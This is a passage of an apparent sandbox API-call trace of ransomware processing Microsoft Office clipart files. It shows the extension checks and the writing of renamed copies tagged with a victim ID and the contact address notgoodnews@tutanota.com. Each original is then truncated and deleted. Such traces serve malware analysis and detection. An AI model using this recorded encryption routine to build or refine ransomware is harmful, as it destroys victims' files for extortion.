Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0171.764] lstrlenW (lpString=".zip") returned 4 [0171.764] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0171.764] lstrlenW (lpString=".rar") returned 4 [0171.765] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0171.765] lstrlenW (lpString=".bz2") returned 4 [0171.765] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0171.765] lstrlenW (lpString=".7z") returned 3 [0171.765] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0171.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0171.765] lstrlenW (lpString=".dbf") returned 4 [0171.765] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0171.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0171.765] lstrlenW (lpString=".1cd") returned 4 [0171.765] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0171.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0171.765] lstrlenW (lpString=".jpg") returned 4 [0171.765] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0171.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0171.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0171.765] lstrlenW (lpString=".doc") returned 4 [0171.765] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0171.765] lstrlenW (lpString=".docx") returned 5 [0171.765] lstrcmpiW (lpString1=".docx", lpString2="0.GIF") returned -1 [0171.765] lstrlenW (lpString=".pdf") returned 4 [0171.765] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0171.765] lstrlenW (lpString=".xls") returned 4 [0171.765] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0171.765] lstrlenW (lpString=".xlsx") returned 5 [0171.765] lstrcmpiW (lpString1=".xlsx", lpString2="0.GIF") returned -1 [0171.765] lstrlenW (lpString=".ppt") returned 4 [0171.765] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0171.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0171.765] lstrlenW (lpString=".zip") returned 4 [0171.765] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0171.765] lstrlenW (lpString=".rar") returned 4 [0171.765] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0171.766] lstrlenW (lpString=".bz2") returned 4 [0171.766] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0171.766] lstrlenW (lpString=".7z") returned 3 [0171.766] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0171.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0171.766] lstrlenW (lpString=".dbf") returned 4 [0171.766] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0171.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0171.766] lstrlenW (lpString=".1cd") returned 4 [0171.766] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0171.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0171.766] lstrlenW (lpString=".jpg") returned 4 [0171.766] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0171.766] lstrcmpiW (lpString1=".BMP", lpString2=".NEWS") returned -1 [0171.766] lstrlenW (lpString="J0101857.BMP") returned 12 [0171.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0172.569] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=32184) returned 1 [0172.570] CloseHandle (hObject=0x54c) returned 1 [0172.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp")) returned 0x220 [0172.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0172.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0172.581] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.582] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0172.588] GetLastError () returned 0x0 [0172.588] ReadFile (in: hFile=0x54c, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0172.593] WriteFile (in: hFile=0x4dc, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0172.595] ReadFile (in: hFile=0x54c, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.595] WriteFile (in: hFile=0x4dc, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.595] SetEndOfFile (hFile=0x4dc) returned 1 [0172.595] CloseHandle (hObject=0x4dc) returned 1 [0172.595] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.595] SetEndOfFile (hFile=0x54c) returned 1 [0172.599] CloseHandle (hObject=0x54c) returned 1 [0172.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0172.600] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp")) returned 1 [0172.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0172.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0172.601] lstrlenW (lpString=".doc") returned 4 [0172.601] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0172.601] lstrlenW (lpString=".docx") returned 5 [0172.601] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0172.601] lstrlenW (lpString=".pdf") returned 4 [0172.601] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0172.601] lstrlenW (lpString=".xls") returned 4 [0172.601] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0172.601] lstrlenW (lpString=".xlsx") returned 5 [0172.601] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0172.601] lstrlenW (lpString=".ppt") returned 4 [0172.601] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0172.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0172.602] lstrlenW (lpString=".zip") returned 4 [0172.602] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0172.602] lstrlenW (lpString=".rar") returned 4 [0172.602] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0172.602] lstrlenW (lpString=".bz2") returned 4 [0172.602] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0172.602] lstrlenW (lpString=".7z") returned 3 [0172.602] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0172.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0172.602] lstrlenW (lpString=".dbf") returned 4 [0172.602] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0172.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0172.602] lstrlenW (lpString=".1cd") returned 4 [0172.602] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0172.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0172.602] lstrlenW (lpString=".jpg") returned 4 [0172.602] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0172.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0172.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0172.602] lstrlenW (lpString=".doc") returned 4 [0172.602] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0172.602] lstrlenW (lpString=".docx") returned 5 [0172.602] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0172.602] lstrlenW (lpString=".pdf") returned 4 [0172.602] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0172.602] lstrlenW (lpString=".xls") returned 4 [0172.602] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0172.603] lstrlenW (lpString=".xlsx") returned 5 [0172.603] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0172.603] lstrlenW (lpString=".ppt") returned 4 [0172.603] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0172.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0172.603] lstrlenW (lpString=".zip") returned 4 [0172.603] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0172.603] lstrlenW (lpString=".rar") returned 4 [0172.603] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0172.603] lstrlenW (lpString=".bz2") returned 4 [0172.603] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0172.603] lstrlenW (lpString=".7z") returned 3 [0172.603] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0172.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0172.603] lstrlenW (lpString=".dbf") returned 4 [0172.603] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0172.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0172.603] lstrlenW (lpString=".1cd") returned 4 [0172.603] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0172.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0172.603] lstrlenW (lpString=".jpg") returned 4 [0172.603] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0172.603] lstrcmpiW (lpString1=".BMP", lpString2=".NEWS") returned -1 [0172.604] lstrlenW (lpString="J0101861.BMP") returned 12 [0172.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0172.604] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=32184) returned 1 [0172.604] CloseHandle (hObject=0x54c) returned 1 [0172.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp")) returned 0x220 [0172.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0172.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0172.605] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.606] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0172.607] GetLastError () returned 0x0 [0172.607] ReadFile (in: hFile=0x54c, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0172.611] WriteFile (in: hFile=0x4dc, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0172.613] ReadFile (in: hFile=0x54c, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.613] WriteFile (in: hFile=0x4dc, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.613] SetEndOfFile (hFile=0x4dc) returned 1 [0172.613] CloseHandle (hObject=0x4dc) returned 1 [0172.613] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.613] SetEndOfFile (hFile=0x54c) returned 1 [0173.013] CloseHandle (hObject=0x54c) returned 1 [0173.013] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0173.558] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp")) returned 1 [0173.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0173.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0173.760] lstrlenW (lpString=".doc") returned 4 [0173.760] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0173.760] lstrlenW (lpString=".docx") returned 5 [0173.761] lstrcmpiW (lpString1=".docx", lpString2="1.BMP") returned -1 [0173.761] lstrlenW (lpString=".pdf") returned 4 [0173.761] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0173.761] lstrlenW (lpString=".xls") returned 4 [0173.761] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0173.761] lstrlenW (lpString=".xlsx") returned 5 [0173.761] lstrcmpiW (lpString1=".xlsx", lpString2="1.BMP") returned -1 [0173.761] lstrlenW (lpString=".ppt") returned 4 [0173.761] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0173.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0173.761] lstrlenW (lpString=".zip") returned 4 [0173.761] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0173.761] lstrlenW (lpString=".rar") returned 4 [0173.761] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0173.761] lstrlenW (lpString=".bz2") returned 4 [0173.761] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0173.761] lstrlenW (lpString=".7z") returned 3 [0173.761] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0173.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0173.761] lstrlenW (lpString=".dbf") returned 4 [0173.761] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0173.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0173.761] lstrlenW (lpString=".1cd") returned 4 [0173.761] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0173.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0173.761] lstrlenW (lpString=".jpg") returned 4 [0173.761] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0173.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0173.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0173.762] lstrlenW (lpString=".doc") returned 4 [0173.762] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0173.762] lstrlenW (lpString=".docx") returned 5 [0173.762] lstrcmpiW (lpString1=".docx", lpString2="1.BMP") returned -1 [0173.762] lstrlenW (lpString=".pdf") returned 4 [0173.762] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0173.762] lstrlenW (lpString=".xls") returned 4 [0173.762] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0173.762] lstrlenW (lpString=".xlsx") returned 5 [0173.762] lstrcmpiW (lpString1=".xlsx", lpString2="1.BMP") returned -1 [0173.762] lstrlenW (lpString=".ppt") returned 4 [0173.762] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0173.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0173.762] lstrlenW (lpString=".zip") returned 4 [0173.762] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0173.762] lstrlenW (lpString=".rar") returned 4 [0173.762] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0173.762] lstrlenW (lpString=".bz2") returned 4 [0173.762] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0173.762] lstrlenW (lpString=".7z") returned 3 [0173.762] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0173.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0173.762] lstrlenW (lpString=".dbf") returned 4 [0173.762] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0173.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0173.762] lstrlenW (lpString=".1cd") returned 4 [0173.762] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0173.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0173.762] lstrlenW (lpString=".jpg") returned 4 [0173.762] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0173.763] lstrcmpiW (lpString1=".BMP", lpString2=".NEWS") returned -1 [0173.763] lstrlenW (lpString="J0101865.BMP") returned 12 [0173.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0173.764] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=32184) returned 1 [0173.764] CloseHandle (hObject=0x4dc) returned 1 [0173.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp")) returned 0x220 [0173.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0173.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0173.765] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.765] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0173.766] GetLastError () returned 0x0 [0173.766] ReadFile (in: hFile=0x4dc, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0173.769] WriteFile (in: hFile=0x4f0, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0173.770] ReadFile (in: hFile=0x4dc, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0173.771] WriteFile (in: hFile=0x4f0, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0173.771] SetEndOfFile (hFile=0x4f0) returned 1 [0173.771] CloseHandle (hObject=0x4f0) returned 1 [0173.771] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.771] SetEndOfFile (hFile=0x4dc) returned 1 [0173.774] CloseHandle (hObject=0x4dc) returned 1 [0173.774] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0173.775] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp")) returned 1 [0173.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0173.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0173.776] lstrlenW (lpString=".doc") returned 4 [0173.776] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0173.776] lstrlenW (lpString=".docx") returned 5 [0173.776] lstrcmpiW (lpString1=".docx", lpString2="5.BMP") returned -1 [0173.776] lstrlenW (lpString=".pdf") returned 4 [0173.776] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0173.776] lstrlenW (lpString=".xls") returned 4 [0173.776] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0173.776] lstrlenW (lpString=".xlsx") returned 5 [0173.776] lstrcmpiW (lpString1=".xlsx", lpString2="5.BMP") returned -1 [0173.776] lstrlenW (lpString=".ppt") returned 4 [0173.776] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0173.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0173.776] lstrlenW (lpString=".zip") returned 4 [0173.776] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0173.777] lstrlenW (lpString=".rar") returned 4 [0173.777] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0173.777] lstrlenW (lpString=".bz2") returned 4 [0173.777] lstrcmpiW 